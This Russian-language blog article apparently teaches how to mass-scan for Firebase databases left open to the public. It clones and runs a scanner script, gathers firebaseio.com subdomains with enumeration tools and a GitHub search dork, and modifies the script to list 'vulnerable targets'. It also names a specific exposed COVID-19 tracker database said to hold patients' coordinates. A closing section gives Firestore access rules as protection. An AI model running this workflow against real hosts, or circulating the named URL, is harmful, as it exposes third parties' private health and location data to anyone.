Облачная база данных — удобная вещь: вся работа по деплою и настройке сервера за вас уже сделана, остается только пользоваться! Системных администраторв это расслабляет настолько, что такие открытые находяться с помощью поисковых систем.
Еще по теме: Как проверить сайт на уязвимости
В статье я покажу, как автоматизировать поиск незащищенных баз данных с помощью поисковиков.
Поиск открытых баз данных с помощью поисковиков
Сидеть, менять поисковые системы и перебирать все URL вручную не очень увлекательно. Слишком часто видим «error : Permission denied». Значит, пора переходить к автоматизации!
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Программировать, правда, не придется, потому что некоторые такие как Францеска Эрера — это уже сделали до нас. Возьмем, к примеру интересный скрипт, который сам подбирает URL и ищет уязвимые базы данных.
Скачиваем его и устанавливаем зависимости:
1 2 3 |
git clone https://github.com/Turr0n/firebase.git cd firebase pip install -r requirements.txt |
После этого запускаем:
1 |
python3 firebase.py -p 4 -c 150 –dnsdumpster |
Ключи:
- p — указывает количество потоков (по умолчанию 1, максимум 4);
- dnsdumpster — генерирует URL самостоятельно;
- с — какое количество доменов генерировать.
Да, скрипт умеет генерировать ссылки самостоятельно. Точнее, делает это не сам, а обращается за помощью к утилите DNSdumpster.

По результату видно, что из найденных баз:
- 37 урлов «битые» или больше не существуют;
- 171 база имеет аутентификацию при обращении к данным и защищена;
- одна база с подозрением на уязвимость;
- 25 баз не защищены или уязвимы.
Можно скормить скрипту и свой список. В нем должны быть только поддомены третьего уровня. Например, вы делаете вот такой входной список:
1 2 3 |
xxx yyy zzz |
Тогда скрипт проверит вот эти URL:
1 2 3 |
https://xxx.firebaseio.com https://yyy.firebaseio.com https://zzz.firebaseio.com |
Поиск поддоменов
Чтобы получить наиболее эффективный список, можно воспользоваться скриптом sublist3r, который использует разные техники поиска и OSINT, чтобы подобрать наиболее правдоподобные варианты.
Запускаем:
1 |
python3 sublist3r.py -d firebaseio.com |
И на выходе получаем около 650 доменов. Работает очень быстро.

Еще одна утилита для генерации доменов — subbrute. Она выдала мне в районе 100 поддоменов, но работала 30–40 минут.

Censys-subdomain-finder, на который я возлагал большие надежды, выдал всего семь доменов. К слову, и сам сервис выдал немного — 25 урлов.
Все перечисленные утилиты не входят в состав дистрибутива Kali Linux, их пришлось качать отдельно.
Из онлайновых сервисов можно воспользоваться nmmapper, DNSdumpster, Pentest-Tools.
Если все еще мало, можно задействовать знания о том, что настройки интеграции происходят в файле:
1 |
google-services.json |
И поискать в гите запросом:
1 |
site:github.com google-services.json |
Этот вариант идет вразрез со словом «автоматизация», зато можно докопаться до уникальных баз.
Усовершенствуем скрипт для поиска баз данных
Теперь мы вооружены добротным набором урлов и знаем, что какие‑то из них могут быть уязвимы. Даже можем запустить скрипт и проверить количество неверно настроенных баз из нашего списка. Но цель в таких случаях — не собрать статистику, а получить уязвимые цели. Поэтому откроем код скрипта и слегка поправим.
Посмотри вот на этот кусок кода:
1 2 3 |
urls = set() with open(args_.list, 'r') as f: [urls.add('https://{}.firebaseio.com/.json'.format(line.rstrip())) for line in f] |
Из него понятно, как формируется полный адрес. А в конце формируется отчет:
1 2 3 4 |
print('404 DBs: {}'.format(l['-2'])) print('Secure DBs: {}'.format(l['-1'])) print('Possible vulnerable DBs: {}'.format(l['0'])) print('Vulnerable DBs: {}'.format(l['1'])) |
Кусок кода с проверкой я приводить не буду. Там нет ничего любопытного, мне нужно было найти само присвоение. И вот оно:
1 2 3 4 5 |
with open(args_.fn, 'w') as f: json.dump(loot, f) l = {'1':0, '0':0, '-1':0, '-2':0} for result in loot: l[str(result['status'])] += 1 |
Вот в этом месте я создаю свой массив по статусу 1. Так как я еще не понимаю, чем его заполнять, записываю все подряд. Получилось примерно следующее:
1 2 3 4 5 6 |
l = {'1':0, '0':0, '-1':0, '-2':0} Vulnerable = [] for result in loot: l[str(result['status'])] += 1 if str(result['status']) == '1': Vulnerable.append(result) |
И в конце добавляю вывод результата в консоль:
1 2 3 4 5 |
print('404 DBs: {}'.format(l['-2'])) print('Secure DBs: {}'.format(l['-1'])) print('Possible vulnerable DBs: {}'.format(l['0'])) print('Vulnerable DBs: {}'.format(l['1'])) print(Vulnerable) |
После запуска вижу такую картину.

Мне высыпалось все, что хранилось в базах. Зато теперь я знаю, что записывать в Vulnerable. Правим код, как надо:
1 2 3 4 5 6 7 8 9 10 11 12 |
l = {'1':0, '0':0, '-1':0, '-2':0} Vulnerable = [] for result in loot: l[str(result['status'])] += 1 if str(result['status']) == '1': Vulnerable.append(result['url']) ... print('404 DBs: {}'.format(l['-2'])) print('Secure DBs: {}'.format(l['-1'])) print('Possible vulnerable DBs: {}'.format(l['0'])) print('Vulnerable DBs: {}'.format(l['1'])) print(Vulnerable) |
На этот раз при запуске видим то, что было нужно, — список уязвимых баз.

Особенно меня заинтересовала вот эта ссылка:
1 |
https://covid-19-tracker-e76ca.firebaseio.com/.json |
В Малайзии так спешили отслеживать перемещения больных ковидом, что не поставили пароль на базу данных с их координатами…
Как защитить базы данных
Назвать эту проблему уязвимостью — некоторое преувеличение. Все сводится к тому, что Google позволяет открыть доступ к содержимому базы всем неавторизованным пользователям, и некоторые разработчики так и поступают.
Поэтому, чтобы защититься, достаточно прописать политики безопасности Firebase. Google предлагает придерживаться следующих правил.
Даже во время разработки (на тесте и на stage) не стоит открывать доступ ко всем данным в Firebase неавторизованным пользователям, но есть возможность открыть их при авторизации:
1 2 3 4 5 6 7 |
service cloud.firestore { match /databases/{database}/documents { match /{document=**} { allow read, write: if request.auth != null; } } } |
Это правило необходимо, когда нескольким пользователям нужно работать с одним контентом.
Следующее правило дает доступ к данным только владельцам этих данных. Остальные пользователи не смогут их видеть или обрабатывать:
1 2 3 4 5 6 7 8 |
service cloud.firestore { match /databases/{database}/documents { // Allow only authenticated content owners access match /some_collection/{userId}/{documents=**} { allow read, write: if request.auth != null && request.auth.uid == userId } } } |
И третье правило устанавливает доступ на чтение некоторых данных некоторым пользователям, но редактирование — только его владельцу:
1 2 3 4 5 6 7 8 9 10 11 12 |
service cloud.firestore { match /databases/{database}/documents { // For attribute-based access control, Check a boolean `admin` attribute allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true; allow read: true; // Alterntatively, for role-based access, assign specific roles to users match /some_collection/{document} { allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Reader" allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Writer" } } } |
Более подробные сведения о безопасности аутентификации и контроле доступа можно найти в документации Firebase.
Заключение
Итак, мы рассмотрели, как происходит утечка данных, разобрались с поиском уязвимых URL, научились автоматизировать процесс и узнали, как избежать этой проблемы.
В документации по безопасности Firebase приведены и сами правила, и разные способы защитить данные. Не стоит ими пренебрегать, перекладывая ответственность на какие‑нибудь гейты или прокси‑серверы. Адрес базы может быть обнаружен.
Еще по теме: Что такое Google Dorks?
Скажите сколько будет стоить что бы создать свой сайт интернет магазина?